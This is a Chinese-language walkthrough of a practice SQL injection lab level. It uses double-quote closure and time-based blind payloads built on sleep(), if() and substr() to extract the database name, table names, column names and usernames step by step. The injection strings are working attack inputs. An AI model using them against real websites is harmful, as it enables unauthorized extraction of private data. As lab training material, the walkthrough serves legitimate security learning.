注意:该关无法返回错误,所以不适合报错注入。
一、判断闭合方式
输入语句
?id=1" %26%26 1=2;%00
,返回页面如下:
输入语句
?id=1" %26%26 1=1;%00
,返回页面如下:
将双引号作为闭合方式,各个语句反应正常,可以确定双引号就是该网站的闭合方式。
二、确定数据库名的长度
输入语句
?id=1" %26%26 sleep(if((length(database())=8),2,0));%00
,返回页面如下:
而且延迟了2秒,这说明数据库的长度是8。
三、爆破数据库名
输入语句
?id=1" %26%26 sleep(if((substr((database()),1,1)='s'),2,0));%00
,返回页面如下:
延迟了2秒,说明数据库名的第一个字母是's'。通过改变substr()函数的参数,可以确定数据库名。
四、确定数据表的个数
输入语句
?id=1" %26%26 sleep(if((sElect (count(table_name)) from (information_schema.tables) where (table_schema=database()))=4,2,0));%00
,返回页面如下:
延迟了2秒,所以该数据库中共有4个数据表。
五、爆破数据表名
输入语句
?id=1" %26%26 sleep(if(substr((sElect (group_concat(table_name)) from (information_schema.tables) where (table_schema=database())),1,1)='e',2,0));%00
,返回页面如下:
延迟了2秒,说明所有的数据表的中第一个数据表的名字的第一个字母是'e'。
我们这里的字符串是所有数据表名和逗号组成的,我们通过逗号来区分不同的数据表名。
六、确定字段的数量
输入语句
?id=1" %26%26 sleep(if((sElect (count(column_name)) from (information_schema.columns) where (table_name='users') %26%26 (table_schema=database()))=3,2,0));%00
,返回页面如下:
延迟了2秒,这说明users这个数据表中共有3个字段。
七、爆破字段名
输入语句
?id=1" %26%26 sleep(if(substr((sElect (group_concat(column_name)) from (information_schema.columns) where (table_name='users') %26%26 (table_schema=database())),1,1)='i',2,0));%00
,返回页面如下:
延迟了2秒。
八、确定字段内容的数量
输入语句
?id=1" %26%26 sleep(if((sElect (count(username)) from (users))=13,2,0));%00
,返回页面如下:
九、爆破字段内容
输入语句
?id=1" %26%26 sleep(if(substr((sElect (group_concat(username)) from (users)),1,1)='D',2,0));%00
,返回页面如下:
到此打靶结束